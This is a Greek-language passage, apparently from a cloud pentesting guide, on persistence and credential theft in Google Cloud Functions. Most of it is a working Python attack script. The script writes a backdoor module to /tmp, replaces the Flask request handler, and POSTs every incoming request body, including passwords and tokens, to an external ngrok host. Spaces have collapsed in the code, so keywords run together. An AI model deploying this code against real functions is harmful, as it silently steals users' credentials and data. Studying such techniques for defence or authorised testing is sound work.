Εάν η Cloud Function διαχειρίζεται ευαίσθητες πληροφορίες που οι χρήστες αποστέλλουν (π.χ. κωδικούς πρόσβασης ή τοκεν), με επαρκή δικαιώματα μπορείτε να τροποποιήσετε τον πηγαίο κώδικα της λειτουργίας και να εξαγάγετε αυτές τις πληροφορίες.
Επιπλέον, οι Cloud Functions που εκτελούνται σε python χρησιμοποιούν το flask για την εκθεση του διακομιστή web. Εάν βρείτε κάποια ευπάθεια ενσωματωμένου κώδικα μέσα στη διαδικασία του flask (για παράδειγμα μια ευπάθεια SSTI), είναι δυνατόν να αντικαταστήσετε τον χειριστή της λειτουργίας που θα λάβει τα αιτήματα HTTP με μια κακόβουλη λειτουργία που μπορεί να εξάγει το αίτημα πριν το περάσει στον νόμιμο χειριστή.
Για παράδειγμα, ο παρακάτω κώδικας υλοποιεί την επίθεση:
import functions_framework# Some python handler code@functions_framework.httpdefhello_http(request,last=False,error=""):"""HTTP Cloud Function.Args:request (flask.Request): The request object.<https://flask.palletsprojects.com/en/1.1.x/api/#incoming-request-data>Returns:The response text, or any set of values that can be turned into aResponse object using `make_response`<https://flask.palletsprojects.com/en/1.1.x/api/#flask.make_response>."""ifnot last:returninjection()else:if error:return errorelse:return"Hello World!"# Attacker code to inject# Code based on the one from https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py
new_function ="""def exfiltrate(request):try:from urllib import request as urllib_requestreq = urllib_request.Request("https://8b01-81-33-67-85.ngrok-free.app", data=bytes(str(request._get_current_object().get_data()), "utf-8"), method="POST")
urllib_request.urlopen(req, timeout=0.1)except Exception as e:if not "read operation timed out" in str(e):return str(e)return ""def new_http_view_func_wrapper(function, request):def view_func(path):try:error = exfiltrate(request)return function(request._get_current_object(), last=True, error=error)except Exception as e:return str(e)return view_func"""definjection():global new_functiontry:from flask import current_app as appimport flaskimport osimport importlibimport sysif os.access('/tmp', os.W_OK):new_function_path ="/tmp/function.py"withopen(new_function_path, "w")as f:f.write(new_function)os.chmod(new_function_path, 0o777)ifnot os.path.exists('/tmp/function.py'):return"/tmp/function.py doesn't exists"# Get relevant function nameshandler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (./main.py by default)
realpath = os.path.realpath(source_path)# Get full path# Get the modules representationsspec_handler = importlib.util.spec_from_file_location("main_handler", realpath)module_handler = importlib.util.module_from_spec(spec_handler)spec_backdoor = importlib.util.spec_from_file_location('backdoor', '/tmp/function.py')module_backdoor = importlib.util.module_from_spec(spec_backdoor)# Load the modules inside the app contextwith app.app_context():spec_handler.loader.exec_module(module_handler)spec_backdoor.loader.exec_module(module_backdoor)# make the cloud funtion use as handler the new functionprev_handler =getattr(module_handler, handler_fname)new_func_wrap =getattr(module_backdoor, 'new_http_view_func_wrapper')app.view_functions["run"]=new_func_wrap(prev_handler, flask.request)return"Injection completed!"exceptExceptionas e:returnstr(e)